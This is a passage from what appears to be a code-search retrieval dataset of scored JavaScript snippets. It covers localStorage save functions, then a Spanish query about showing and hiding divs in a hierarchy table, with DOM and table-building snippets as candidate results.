localStorage.setItem('contact',JSON.stringify(contact));\n loadWebstorage();\n}", "title": "" }, { "docid": "b391d6369687f00db5971ee5246d7cb8", "score": "0.6961715", "text": "function saveIdea() {\n \t//save the idea\n \tlocalStorage.setItem('ideaInfo', JSON.stringify(ideaInfo));\n }", "title": "" }, { "docid": "1a01c3638c997234602e012e6aac018f", "score": "0.69529927", "text": "function saveSettings() {\n\tlocalStorage.setItem('email', emailSetting);\n\tlocalStorage.setItem('publicpro', publicSetting);\n\tlocalStorage.setItem('tzone', timeZoneSetting);\n}", "title": "" }, { "docid": "ead419b1e9e2511b21f3bf3a7a20d2db", "score": "0.69408447", "text": "function save(){\n const a = JSON.stringify(answers);\n localStorage.setItem(\"answers\", a);\n}", "title": "" }, { "docid": "25ab996c5d99acf13b739a68c6fa88d2", "score": "0.6929651", "text": "function saveToLocal(val, content) {\n localStorage.setItem(val, content);\n}", "title": "" }, { "docid": "91047382bcea4fd7467ed97444c99f9b", "score": "0.69290495", "text": "function saveData(data) {\n\tchrome.storage.local.set(data);\n}", "title": "" }, { "docid": "bc99ef5c53c6bb53a4565c30dbfab2da", "score": "0.692468", "text": "function saveTasks() {\n var str = JSON.stringify(tasks);\n localStorage.setItem(\"tasks\", str);\n }", "title": "" }, { "docid": "efa7506c36084db6401c0d3c0d2a8261", "score": "0.69237125", "text": "function saveToStorage(){\r\n localStorage.setItem('list_todos', JSON.stringify(todos));\r\n}", "title": "" }, { "docid": "1536676247aee05dff997999e93687f1", "score": "0.69197655", "text": "function writeToStorage(model) {\n localStorage.setItem(storageKey, JSON.stringify(model));\n}", "title": "" }, { "docid": "7a166d72a75652a20bbe5a58a7c450ac", "score": "0.6908451", "text": "save() {\n let recipesJson = JSON.stringify(this.recipes);\n localStorage.setItem('recipes', recipesJson);\n\n let currentId = JSON.stringify(this.currentId);\n localStorage.setItem('currentId', currentId);\n }", "title": "" }, { "docid": "49d9bdc80ab4a4311a608f4b08aa20a0", "score": "0.6907858", "text": "function saveLocally(key, value) {\r\n localStorage.setItem(key, value);\r\n}", "title": "" }, { "docid": "d5b8a2e811a7e19e15c36830a43a5e6c", "score": "0.69065833", "text": "function saveSettings() {\n log.verbose(\"saves settings into local storage\");\n let settings = [\n {\n id: \"autostartHidden\",\n type: \"checkbox\",\n value: document.getElementById(\"autostartHidden\").checked\n },\n {\n id: \"tray\",\n type: \"checkbox\",\n value: document.getElementById(\"tray\").checked\n },\n {\n id: \"autoTurnOnOnlyAtAutostart\",\n type: \"checkbox\",\n value: document.getElementById(\"autoTurnOnOnlyAtAutostart\").checked\n }\n ]\n log.debug(settings);\n localStorage.setItem(\"settings\", JSON.stringify(settings));\n}", "title": "" }, { "docid": "a5319f2d46e6bd1bf1969af19c2c9477", "score": "0.6903711", "text": "function store() {\n var inputFirstLastName= document.getElementById(\"firstLastName\");\n localStorage.setItem(\"firstLastName\", inputFirstLastName.value);\n\n var inputEmail= document.getElementById(\"email\");\n localStorage.setItem(\"email\", inputEmail.value);\n\n var inputPetPicture = document.getElementById(\"petPicture\");\n localStorage.setItem(\"petPicture\", inputPetPicture.value);\n}", "title": "" }, { "docid": "c520e09fa26117cef246a718e43644c0", "score": "0.689913", "text": "async save() {\n localStorage.setItem(\"profiles\", JSON.stringify(this.profiles));\n return;\n }", "title": "" }, { "docid": "8283dcdc4dea0f183996f4da1df89029", "score": "0.6897421", "text": "function saveToLocalStorage(key, value) {\n localStorage.setItem(key, value);\n}", "title": "" }, { "docid": "5e49d8132b3a3672aeb98583301da533", "score": "0.6892361", "text": "function saveEvent(){\n var name = $(\"#event-name\").text().trim();\n var time = $(\"#event-time\").text();\n var link = $(\"#website-link\").attr(\"href\");\n var savedEvent = {\n name: name,\n url: link,\n dates: {\n start: {\n localTime: time\n }\n }\n\n };\n localStorage.setItem(\"eventSave\", JSON.stringify(savedEvent));\n}", "title": "" }, { "docid": "265d5dd3aaa2b20defdc301fce782c60", "score": "0.6891541", "text": "function savecity() {\n var str = JSON.stringify(savedCities)\n localStorage.setItem(\"cities\", str)\n localStorage.setItem(\"last city\", lastCity)\n}", "title": "" }, { "docid": "265d5dd3aaa2b20defdc301fce782c60", "score": "0.6891541", "text": "function savecity() {\n var str = JSON.stringify(savedCities)\n localStorage.setItem(\"cities\", str)\n localStorage.setItem(\"last city\", lastCity)\n}", "title": "" } ]
0ff92f2fb34b4a5d7cddb6647e60e5da
Oculta y Muestra Divs en una tabla tipo Arbol de Jerarquia
[ { "docid": "41e89532fc0e80e537b31dda99ddfde6", "score": "0.0", "text": "function desplegar(indice){\n\tvar marco = \"div#marco\" + indice;\n\tvar desplegar = \"div#desplegar\" + indice;\n\tvar plegar = \"div#plegar\" + indice;\t\n\tvar capa = $j(marco);\n\tvar des = $j(desplegar);\n\tvar ple = $j(plegar);\n des.hide();\t\n\tple.show();\t\n capa.show().slideDown(\"slow\");\n}", "title": "" } ]
[ { "docid": "5e467b91e7dc71016f77292fb94cdf62", "score": "0.7102947", "text": "function dibujar_tabla(){\n var dimension_matriz_cuadrada = tablero[0].length;\n // clean table\n document.getElementById(\"tablerominas\").innerHTML = '';\n var dimension_tabla = (dimension_matriz_cuadrada*50 + dimension_matriz_cuadrada*2) + \"px\";\n document.getElementById(\"tablerominas\").style.height = dimension_tabla;\n document.getElementById(\"tablerominas\").style.width = dimension_tabla;\n\n for(var i = 0; i < dimension_matriz_cuadrada; i++){\n \n for(var j = 0; j < dimension_matriz_cuadrada; j++){\n \n var caracter = tablero[i][j];\n var div = document.createElement(\"div\");\n div.id = i + \"\" + j;\n // cambiar esta wea por sswitch\n if(caracter==\"-\"){\n div.className = \"white_square\";\n }\n else if(caracter==\"#\"){\n div.className = \"black_square\";\n }\n else if(caracter == \"L\"){\n div.className = \"lampara\";\n }\n else if(caracter == \"XI\"){\n div.className = \"XI\";\n div.innerHTML = \"<p>\" + \"X\" + \"</p>\";\n }\n else if(caracter == \"X\"){\n div.className = \"X\";\n div.innerHTML = \"<p>\" + caracter + \"</p>\";\n }\n else if(caracter == \"I\"){\n div.className = \"luz\";\n }\n else{\n div.innerHTML = \"<p>\" + caracter + \"</p>\";\n div.className = \"black_square\";\n }\n tablerominas.appendChild(div);\n\n }\n }\t\t \n}", "title": "" }, { "docid": "1a8b7d65bd3d43221d585561b1fcf0dc", "score": "0.64344186", "text": "function carritoHtml() {\n \n//limpia el hhtml\nlimpiarHtml();\n \n artriculosCarrito.forEach((curso) =>{\n const {imagen, title , precio , cantidad ,id} = curso;\n const row = document.createElement('tr');\n row.innerHTML=`\n <td><img src=\"${imagen}\" width=\"100\"></td>\n <td>${title}</td>\n <td>${precio}</td>\n <td>${cantidad}</td>\n <td> \n <a href=\"#\" class=\"borrar-curso\" data-id=\"${id}\">X</a>\n </td>\n `;\n \n //AGREga o inyecta el tml del carrtioden en tbody\n contenedorCarrito.appendChild(row);\n });\n}", "title": "" }, { "docid": "bbb4c99d3fc397e1a1ba0e5dfe68b9d5", "score": "0.635751", "text": "function kreirajTabelu(redova) {\n for (var i = 0; i < redova; i++) {\n if(i == 5){\n var newRow = document.createElement(\"div\");\n newRow.setAttribute('id',i)\n newRow.className = 'field'\n newRow.className +=' mall'\n table.appendChild(newRow)\n }\n var newRow = document.createElement(\"div\");\n newRow.setAttribute('id',i)\n newRow.className = 'field'\n table.appendChild(newRow) \n \n }\n table.appendChild(newRow) \n}", "title": "" }, { "docid": "a2fe7f23bbe83e721d4a673aab4cc86c", "score": "0.63125145", "text": "corrigeVtBranco(){\n let vtBrancoRemovido = objFuncoes.removeVtBranco();;\n\n let titulo = document.querySelector('div.d-1-2 span');\n if(titulo.textContent == 'VEREADOR'){\n for(let i = 0;i<etapas[0].numeros;i++){\n let div1 = document.createElement('div');\n div1.classList.add('numero');\n vtBrancoRemovido.appendChild(div1);\n let espacamento = document.querySelectorAll('div.numero')[i];\n espacamento.style.marginLeft = '5px'\n div1.style.marginRight = '2px'\n }\n\n }\n if(titulo.textContent == 'PREFEITO'){\n for(let i = 0;i<etapas[1].numeros;i++){\n let div1 = document.createElement('div');\n div1.classList.add('numero');\n vtBrancoRemovido.appendChild(div1);\n let espacamento = document.querySelectorAll('div.numero')[i];\n espacamento.style.marginLeft = '5px'\n div1.style.marginRight = '2px'\n }\n }\n }", "title": "" }, { "docid": "4ed4f6d00fbaa0db3992baf0977018d6", "score": "0.6303217", "text": "function reduire(div_red){\n\n\t//on recupere la fenetre\n\tlet obj_fenetre = $(div_red).parent().parent().parent();\n\t//on recupere le type traj\n\tlet type_traj = obj_fenetre.attr(\"attr_type_traj\");\n\t//on recupere l'indice de la fenetre\n\tlet indice_fenetre = obj_fenetre.parent().attr(\"indice\");\n\n\t//on chnage la couleur de la barre de tache\n\tlet onglet_fenetre = $(\".onglet_fenetre\").filter(\"[attr_type_traj='\" + type_traj + \"']\");\n\tonglet_fenetre.removeClass(\"couleur_onglet\");\n\tonglet_fenetre.addClass(\"onglet_fenetre_reduit\");\n\n\t//on recupere toute les fenetres\n\tlet tab_fenetre = $(\".body_boite\");\n\t// p(tab_fenetre);\n\n\t//on stock la fenetre dans la var globale\n\tglobal_tabFenetreReduite.push(obj_fenetre);\n\t\n\tif(indice_fenetre == (tab_fenetre.length - 1)){\n\t\t//c'est le dernier element, on le display none\n\t\tobj_fenetre.parent().empty();\n\t}\n\telse{\n\t\tfor(let i=indice_fenetre; i<(tab_fenetre.length - 1); i++){\n\t\t\t//colone a remplacer\n\t\t\tlet col_cible = $(\".fenetre_traj\").filter(\"[indice='\" + i + \"']\");\n\t\t\t//fenetre qui ira dans la colone a remplacer\n\t\t\tlet fenetre_cible = $(\".fenetre_traj\").filter(\"[indice='\"+ (parseInt(i)+1) + \"']\").children();\n\n\t\t\tcol_cible.empty();\n\t\t\tcol_cible.append(fenetre_cible);\n\t\t}\n\t}\n\n\t//on met l'attribut estVide au col vide\n\tvar tab_col = $(\".fenetre_traj\");\n\t// p(tab_col);\n\tfor(let i=0;i<tab_col.length;i++){\n\t\tif($(tab_col[i]).has(\"div\").length){\n\t\t\t$(tab_col[i]).attr(\"attr_estVide\",\"false\");\n\t\t}\n\t\telse{\n\t\t\t$(tab_col[i]).attr(\"attr_estVide\",\"true\");\n\t\t}\n\t}\n}", "title": "" }, { "docid": "9edeea8031980f95976ef57c95feca05", "score": "0.6265429", "text": "function CerrarLineasBusqueda ()\r\n{\r\n Array.from(divBusqueda).forEach((elementoBusqueda) => {\r\n elementoBusqueda.style.display = \"none\";\r\n });\r\n contenedor_buscar.style.height = \"50px\";\r\n}", "title": "" }, { "docid": "412e80b98203966b27a857b650c4603d", "score": "0.6248229", "text": "function createGrid3x3(grille, chiffres, masque, id, sub) {\n var htm = \"<table cellspacing=0 >\";\n var x, y;\n for (y = 0; y < 3; y++) {\n htm += \"<tr>\";\n for (x = 0; x < 3; x++) {\n index = y * 3 + x;\n if (sub) {\n htm += \"<td class='tabloExterieur' >\";\n htm += createGrid3x3(grille, chiffres, masque, index, false);\n /*Recursif pour afficher les sous tableaux*/\n htm += \"</td>\";\n\n } else {\n\n /*Rest binaire sur le masque*/\n if (masque[id * 9 + index] == true) {\n htm += \"<td class='tabloInterieur' ><b>\" + chiffres[parseInt(grille.charAt(id * 9 + index))] + \"</b></td>\";\n grilleUser[id * 9 + index] = chiffres[parseInt(grille.charAt(id * 9 + index))];\n } else {\n /*htm+= chiffres[parseInt(grille.charAt(id*9+index))];*/\n htm += \"<td class=\\\"tabloInterieur\\\" id='c_\" + (id * 9 + index) + \"' onmouseover=\\\"choix(this,0);\\\" onmouseout=\\\"choix(this,1);\\\" onclick=\\\"choix(this,2);\\\">\";\n /*if (isChiffre(grilleUser[id*9+index]))*/\n htm += isChiffre(grilleUser[id * 9 + index]) ? grilleUser[id * 9 + index] : \"&nbsp;\";\n htm += \"</td>\";\n }\n }\n }\n htm += \"</tr>\\n\";\n }\n htm += \"</table>\";\n return htm;\n}", "title": "" }, { "docid": "ad03b685e674a657e825b6657a9b3a02", "score": "0.6211386", "text": "function cacherCellulesVides()\n\t{\n\t\tvar tab_nbrow = 18;\n\t\tvar tab_nbcol = 29;\n\t\tvar utiliser_methode_css = true;\n\t\t//On conservera les cellules et au lieu de fusionner les cellules vide on leur mettra un border-color transparent\n\t\t//Ainsi on ne detruit pas des cellules vides dans lesquelles ont souhaitera peut etre ajouter des matieres\n\n\t\tif($('table#c_hyperplanning').length)\n\t\t{\n\t\t\tif(utiliser_methode_css)\t\t//--\tMETHODE 1 - CSS\n\t\t\t{\n\t\t\t\t$('table').find('td').each (function() {\n\t\t\t\t\t//Si cellule valide && au moins deux cellules vides sont collées\n\t\t\t\t\tif($(this).hasClass('tg-c3ow') \n\t\t\t\t\t\t&& cell_is_empty($(this)))\n\t\t\t\t\t{\n\t\t\t\t\t\t//Check si on peut supprimer bordure de droite\n\t\t\t\t\t\tif(cell_is_empty($(this).next()))\n\t\t\t\t\t\t\t$(this).css('border-right-color', 'transparent');\n\n\t\t\t\t\t\t//Check si on peut supprimer bordure du bas\n\t\t\t\t\t\tif(getBottomCell_ofCell($(this)) != false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(cell_is_empty(getBottomCell_ofCell($(this))))\n\t\t\t\t\t\t\t\t$(this).css('border-bottom-color', 'transparent');\n\t\t\t\t\t\t\t//getBottomCell_ofCell($(this)).css('background-color', 'red');\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t\telse\t\t\t\t\t\t\t//--\tMETHODE 2 - Fusion des cellules\n\t\t\t{\n\t\t\t\t$('table').find('td').each (function() {\n\t\t\t\t\t//Si cellule valide && au moins deux cellules vides sont collées\n\t\t\t\t\tif($(this).hasClass('tg-c3ow') \n\t\t\t\t\t\t&& cell_is_empty($(this))\n\t\t\t\t\t\t&& cell_is_empty($(this).next())\n\t\t\t\t\t\t)\n\t\t\t\t\t{\n\t\t\t\t\t\tvar start_cell = $(this);\n\t\t\t\t\t\tvar colspan = 2;\n\n\n\t\t\t\t\t\t//Recherche de l'étendue vide\n\t\t\t\t\t\tvar temp_sel = $(this).next();\n\t\t\t\t\t\twhile(cell_is_empty(temp_sel))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfor(var x=1;x<=colspan; x++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(cell_is_empty(temp_sel))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\ttemp_sel = temp_sel.next();\n\t\t\t\t\t\t\t\t\tcolspan++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcolspan--;\n\t\t\t\t\t\tconsole.log('colspanmax = '+colspan);\n\n\n\t\t\t\t\t\t//Suppression\n\t\t\t\t\t\t\n\t\t\t\t\t\ttemp_sel = $(this).next();\n\t\t\t\t\t\tfor(var x=2; x<=colspan; x++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar t = temp_sel.next();\n\t\t\t\t\t\t\ttemp_sel.css('background-color', 'red');\n\t\t\t\t\t\t\ttemp_sel.remove();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\ttemp_sel = t;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$(this).attr('colspan', colspan);\n\n\t\t\t\t\t\t//Dev = 1 seule\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t\ttab_messageSiVide();\n\t\t}\t\t\n\t}\t//END function", "title": "" }, { "docid": "83a8758199ed5a9032322ed2236f9e32", "score": "0.6188304", "text": "function carritoHtml()\n{\n\n // limpiar el html\n limpiarHtml();\n // recorre el carrito y genera el html\n\n articulosCarrito.forEach((curso)=>\n {\n // cada vez que nuestro codigo funcione intentemos mejorarlo\n // aplicando destructuring\n const {imagen,titulo,precio,cantidad}=curso;\n const row=document.createElement('tr');\n row.innerHTML=`\n <td>\n \n <img src=\"${imagen}\" width=100>\n </td>\n \n <td>\n \n ${titulo} \n \n </td>\n <td>\n \n ${precio} \n \n </td>\n <td>\n \n ${cantidad} \n \n </td>\n <td>\n <a href=\"#\" class=\"borrar-curso\" data-id=\"${curso.id}\"> X </a> \n \n </td>\n\n `\n ;\n // agregar al html cada objeto que agregamos\n contenedorCarrito.appendChild(row); \n \n \n })\n\n}", "title": "" }, { "docid": "cb9be2973ca38d5a90af10e372350fea", "score": "0.6152818", "text": "function cargarCadenaMovimientos(cadena) {\n let tablaMov = document.getElementById(\"tablaMov\");\n\n tablaMov.innerHTML = \"\";\n\n let subCadenas = cadena.split(\" \");\n let fila = undefined;\n let div;\n let span;\n\n for (let i = 0, finI = subCadenas.length; i < finI; i++) {\n if (i % 3 === 0) { // Crear fila y rellenar numero\n fila = document.createElement(\"div\");\n div = document.createElement(\"div\");\n span = document.createElement(\"span\");\n\n fila.className = \"filaMov\";\n div.classList.add(\"divNumMov\");\n span.classList.add(\"spanNumMov\");\n span.innerHTML = subCadenas[i];\n\n div.appendChild(span);\n fila.appendChild(div);\n tablaMov.appendChild(fila);\n } else {\n // Rellenar los movimientos de la fila\n div = document.createElement(\"div\");\n span = document.createElement(\"span\");\n\n div.classList.add(\"divMov\");\n span.classList.add(\"spanMovRepeticion\");\n span.innerHTML = subCadenas[i];\n\n div.appendChild(span);\n fila.appendChild(div);\n\n // Cargo los movimientos realizados\n miPartida.turno = (i + 2) % 3 === 0;\n notacionAMov(subCadenas[i]);\n guardarTablero();\n }\n }\n\n // Obtengo el resultado y lo anoto\n fila = document.createElement(\"div\");\n fila.className = \"filaResultado\";\n\n let ultimoMov = subCadenas[subCadenas.length - 1];\n let ultimoChar = ultimoMov[ultimoMov.length - 1];\n\n if (ultimoChar === \"#\") {\n let penultimoMov = subCadenas[subCadenas.length - 2];\n let ultimoCharUltimoMov = penultimoMov[penultimoMov.length - 1];\n\n if (ultimoCharUltimoMov === \".\")\n miPartida.resultado = \"1-0\";\n else\n miPartida.resultado = \"0-1\";\n } else\n miPartida.resultado = \"1/2-1/2\";\n\n span = document.createElement(\"span\");\n span.innerHTML = miPartida.resultado;\n\n fila.appendChild(span);\n tablaMov.appendChild(fila);\n}", "title": "" }, { "docid": "cb9be2973ca38d5a90af10e372350fea", "score": "0.6152818", "text": "function cargarCadenaMovimientos(cadena) {\n let tablaMov = document.getElementById(\"tablaMov\");\n\n tablaMov.innerHTML = \"\";\n\n let subCadenas = cadena.split(\" \");\n let fila = undefined;\n let div;\n let span;\n\n for (let i = 0, finI = subCadenas.length; i < finI; i++) {\n if (i % 3 === 0) { // Crear fila y rellenar numero\n fila = document.createElement(\"div\");\n div = document.createElement(\"div\");\n span = document.createElement(\"span\");\n\n fila.className = \"filaMov\";\n div.classList.add(\"divNumMov\");\n span.classList.add(\"spanNumMov\");\n span.innerHTML = subCadenas[i];\n\n div.appendChild(span);\n fila.appendChild(div);\n tablaMov.appendChild(fila);\n } else {\n // Rellenar los movimientos de la fila\n div = document.createElement(\"div\");\n span = document.createElement(\"span\");\n\n div.classList.add(\"divMov\");\n span.classList.add(\"spanMovRepeticion\");\n span.innerHTML = subCadenas[i];\n\n div.appendChild(span);\n fila.appendChild(div);\n\n // Cargo los movimientos realizados\n miPartida.turno = (i + 2) % 3 === 0;\n notacionAMov(subCadenas[i]);\n guardarTablero();\n }\n }\n\n // Obtengo el resultado y lo anoto\n fila = document.createElement(\"div\");\n fila.className = \"filaResultado\";\n\n let ultimoMov = subCadenas[subCadenas.length - 1];\n let ultimoChar = ultimoMov[ultimoMov.length - 1];\n\n if (ultimoChar === \"#\") {\n let penultimoMov = subCadenas[subCadenas.length - 2];\n let ultimoCharUltimoMov = penultimoMov[penultimoMov.length - 1];\n\n if (ultimoCharUltimoMov === \".\")\n miPartida.resultado = \"1-0\";\n else\n miPartida.resultado = \"0-1\";\n } else\n miPartida.resultado = \"1/2-1/2\";\n\n span = document.createElement(\"span\");\n span.innerHTML = miPartida.resultado;\n\n fila.appendChild(span);\n tablaMov.appendChild(fila);\n}", "title": "" }, { "docid": "d4fd629e44be341a174fe5da14b77db4", "score": "0.6145851", "text": "function tableAlignmentDiv(){\nvar Table = document.querySelector(\"#seet-table\");\nlet trEl = $(Table).find(\"tbody tr\").toArray();\n// console.log(trEl);\nvar r=0; //start counting rows in table\nwhile(row=trEl[r++])\n{\n var c=0; //start counting columns in row\n// console.log(row);\n while(cell=row.cells[c++])\n {\n let data = cell.innerHTML;\n cell.innerHTML = \"\";\n let div = document.createElement(\"div\");\n div.innerHTML = data;\n div.classList.add(\"tddiv\");\n cell.appendChild(div);\n if(isNaN(data))\n {\n cell.classList.add(\"text-start\");\n }\n else\n {\n cell.classList.add(\"text-end\");\n }\n \n }\n}\n}", "title": "" }, { "docid": "edf89968738db7472a905a2cfe57c4b1", "score": "0.61438787", "text": "function tabela_para_html(vetor_estados){\n\ttabela = $('#automato');\n\ttabela.html('');\n\t// Define o cabeçalho da tabela\n\tvar tr = $( document.createElement('tr') );\n\tvar th = $( document.createElement('th') );\n\tth.html('Estado'); // Adiciona o titulo da coluna de estado\n\ttr.append(th);\n\tvar primeiro = 'a';\n\tvar ultimo = 'z';\n\tfor (var j = primeiro.charCodeAt(0); j <= ultimo.charCodeAt(0); j++) { // Adiciona todas as letras no cabeçalho da tabela\n\t\tvar th = $( document.createElement('th') );\n\t\tth.html(String.fromCharCode(j));\n\t\ttr.append(th);\n\t}\n\ttabela.append(tr);\n\n\t// Itera entre os estados\n\tfor(var i = 0; i < vetor_estados.length; i++){\n\t\tvar tr = $( document.createElement('tr') ); // Cria uma nova linha para cada estado\n\t\tvar td = $( document.createElement('td') ); // Cria a celula do estado\n\t\tif(vetor_estados[i]['final']){\n\t\t\ttd.html('q' + vetor_estados[i]['estado'] + '*');\n\t\t} else {\n\t\t\ttd.html('q' + vetor_estados[i]['estado']);\n\t\t}\n\t\ttr.append(td);\n\t\ttr.addClass('estado_'+vetor_estados[i]['estado']);\n\t\tvar primeiro = 'a';\n\t\tvar ultimo = 'z';\n\t\tfor (var j = primeiro.charCodeAt(0); j <= ultimo.charCodeAt(0); j++) {\n\t\t\tvar letra = String.fromCharCode(j);\n\t\t\tvar td = $( document.createElement('td') );\n\t\t\ttd.addClass('letra_'+letra);\n\t\t\tif(vetor_estados[i][letra] != '-'){\n\t\t\t\ttd.html('q' + vetor_estados[i][letra]);\n\t\t\t}\n\t\t\ttr.append(td);\n\t\t}\n\t\ttabela.append(tr);\n\t}\n}", "title": "" }, { "docid": "a060cb637c62fed3e8f74e3027a4bfe9", "score": "0.6119905", "text": "function listarAreas_processResponse(res) {\n\n try {\n var info = eval('(' + res + ')');\n var divTerceros = document.getElementById('divListadoAreas');\n if (res != '0') {\n var datosRows = info.data;\n var l = info.cols;\n var ctl = true, claseAplicar = \"\", claseAplicar1 = \"\", claseAplicar2 = \"\";\n\n var id = \"\";\n var fecha = \"\";\n var nombre = \"\";\n var descripcion = \"\";\n var icono = \"\";\n var tabla = \"<table class='tbListado centrar' style='text-align: center;'><tr><td class='encabezado' colspan='5'>&Aacute;REAS EXISTENTES</td></tr>\";\n tabla += \"<tr><td class='encabezado' colspan='2'>NOMBRE</td><td class='encabezado'>DETALLE</td><td class='encabezado'>EDITAR</td><td class='encabezado'>ELIMINAR</td></tr>\";\n\n for (var i = 0; i < datosRows.length; i += l) {\n id = datosRows[i]\n nombre = datosRows[i + 1];\n descripcion = datosRows[i + 2];\n var departamento = datosRows[i + 3];\n\n\n if (ctl) {\n claseAplicar = \"cuerpoListado9\";\n claseAplicar2 = \"cuerpoListado3\";\n } else {\n claseAplicar = \"cuerpoListado10\";\n claseAplicar2 = \"cuerpoListado5\";\n }\n\n ctl = !ctl;\n tabla += '<tr><td colspan=\"2\" class=\"' + claseAplicar + '\" align=\"center\">' + unescape(nombre).toUpperCase() + '</td>';\n tabla += '<td class=\"' + claseAplicar2 + '\"><div id=\"imgDetalle\" class=\"linkIconoLateral botonDetalle\" onclick=\"detalle(\\'' + id + '\\',\\'' + nombre.toUpperCase() + '\\',\\'' + descripcion.toUpperCase() + '\\' )\"><img height=\"16px\" width=\"16px\" src=\"../../Recursos/imagenes/administracion/listar.png\"><p>Detalle</p></div></td>'; //copia los datos de la fila seleccionada \n tabla += '<td class=\"' + claseAplicar2 + '\"><div id=\"imgEditar\" class=\"linkIconoLateral botonEditar\" onclick=\"editarArea( \\'' + id + '\\',\\'' + unescape(nombre).toUpperCase() + '\\',\\'' + unescape(descripcion).toUpperCase() + '\\',\\'' + departamento + '\\')\"><img height=\"16px\" width=\"16px\" src=\"../../Recursos/imagenes/administracion/editar_24x24.png\"><p>Editar</p></div></td>'; //copia los datos de la fila seleccionada \n tabla += '<td class=\"' + claseAplicar2 + '\"><div id=\"imgEliminar\" class=\"linkIconoLateral botonEliminar\" onclick=\"eliminarArea(\\'' + id + '\\')\"><img height=\"16px\" width=\"16px\" src=\"../../Recursos/imagenes/administracion/eliminar_24x24.png\"><p>Eliminar</p></div></td></tr>';\n }\n tabla += '</table>'\n divTerceros.innerHTML = tabla;\n divTerceros.innerHTML += pieDePaginaListar(info, 'listarAreas');\n\n var idMenuForm = document.getElementById('idMenuForm').innerHTML; // se adiciona esta linea para que se de el permiso de visualizar el editar despues de cargar\n permisosParaMenu(idMenuForm); // se adiciona esta linea para que se el permiso de visualizar el editar despues de cargar\n } else {\n divTerceros.innerHTML = 'NO HAY INFORMACIÓN EN LA BASE DE DATOS';\n }\n } catch (elError) {\n }\n}", "title": "" }, { "docid": "231bf6f52309edb2230aa6dc15418666", "score": "0.611984", "text": "function make_table (tabloid, on_off){\nvar tamm_skrid = \"BET \"; \ntaolennet = '<table>';\n$.each(tabloid,function (i, val) {\nvar modus = i % 4;\nswitch (modus){\ncase 0: taolennet += '<tr>';\ncase 1:\ncase 2:taolennet += '<td>' + val + '</td>'; break;\ncase 3:taolennet += '<td>' + val + '</td></tr>';\n}\n})\ntaolennet += '</tr></table>';\nniver = tabloid.length;\nrenk = Math.ceil (niver / 4) - 1;\n$(\"#kavadenn\").css (\"height\", 28 + (renk * 25.5));\n(on_off == 0) ? tamm_skrid += 'KAVET' : tamm_skrid += \"C'HWITET\";\ntamm_skrid= '<p id=\"toutouig\">' + tamm_skrid + '<p>'; \n$(\"#kavadenn\").before(tamm_skrid) ; \nreturn taolennet;\n}", "title": "" }, { "docid": "5444101ae6f9c1015e09c4942e4d8c0e", "score": "0.61165375", "text": "function ordenacao_vencedores() {\r\n\r\n//Ordenação\r\n\r\n if(cont2==0){\r\n array_tabela.sort(function(a, b) {\r\n if (a.tempo < b.tempo) {\r\n return -1;\r\n }\r\n\r\n if (a.tempo > b.tempo) {\r\n return 1;\r\n }\r\n\r\n return 0;\r\n });\r\n let primeiro = array_tabela[0];\r\n let menor = primeiro.tempo;\r\n for (let i = 0; i < array_tabela.length; i++) {\r\n if (menor > array_tabela[i].tempo) {\r\n menor = array_tabela[i].tempo;\r\n }\r\n }\r\n\r\n //Criação da segunda tabela\r\n\r\n document.getElementById(\"tabela_resul\").style.visibility = \"visible\";\r\n let tabela_resul = document.getElementById(\"tabela_resul\");\r\n for (let i = 0; i < array_tabela.length; i++) {\r\n let newRow = tabela_resul.insertRow(i+1);\r\n newCell = newRow.insertCell(0);\r\n if(array_tabela[i].tempo == menor){\r\n newCell.innerHTML = (1);\r\n }\r\n else{\r\n newCell.innerHTML = (i+1);\r\n }\r\n newCell = newRow.insertCell(1);\r\n newCell.innerHTML = array_tabela[i].largada;\r\n newCell = newRow.insertCell(2);\r\n newCell.innerHTML = array_tabela[i].nome;\r\n newCell = newRow.insertCell(3);\r\n newCell.innerHTML = array_tabela[i].tempo;\r\n newCell = newRow.insertCell(4);\r\n if (array_tabela[i].tempo == menor) {\r\n newCell.innerHTML = \"Vencedor(a)! :D\";\r\n }\r\n else {\r\n newCell.innerHTML = \"-\";\r\n }\r\n }\r\n cont2 = 1;\r\n }\r\n \r\n else if(cont2==1){\r\n window.alert(\"Ops! Você já gerou a tabela de resultados.\");\r\n }\r\n}", "title": "" }, { "docid": "028d47bed9b0be1a7230d6905010ec12", "score": "0.61029017", "text": "function carritoHtml(){\r\n //limpiamos el html\r\n limpiarHtml();\r\n //recorre el carrito y genera el html\r\n articulosCarrito.forEach( curso =>{\r\n\r\n const{imagen,titulo,precio,cantidad,id} = curso;\r\n\r\n const row = document.createElement('tr')\r\n row.innerHTML = `\r\n <td><img src=\"${imagen}\" width = 100></td>\r\n <td>${titulo}</td>\r\n <td>${precio}</td>\r\n <td>${cantidad}</td>\r\n <td>\r\n <a href=\"#\" class=\"borrar-curso\" data-id=\"${id}\"> X </a> \r\n `;\r\n\r\n //agregar el html al tbody\r\n contenedorCarrito.appendChild(row);\r\n })\r\n}", "title": "" }, { "docid": "99c47415de7a103412e72c55ddfba6af", "score": "0.60923666", "text": "function rellenarTablero(){\n for (var m = 0; m < 8; m++) { \n for (var n = 0; n < 8; n++) { \n //Ficha Blanca corresponde a 1\n if (objetoTablero.list[m][n] === 1) {\n var piezaBlanca = document.createElement('img');\n piezaBlanca.src = 'imgs/'+1+'.png';\n piezaBlanca.alt = 'Pieza_Blanca';\n piezaBlanca.className = 'fichas';\n document.getElementById('fila' + m +'columna' + n).appendChild(piezaBlanca);\n \n //Ficha Roja corresponde a 2\n }else if (objetoTablero.list[m][n] === 2){\n var piezaRoja = document.createElement('img');\n piezaRoja.src = 'imgs/'+2+'.png';\n piezaRoja.alt = 'Pieza_Roja';\n piezaRoja.className = 'fichas';\n document.getElementById('fila' + m +'columna' + n).appendChild(piezaRoja);\n } \n }\n }\n}", "title": "" }, { "docid": 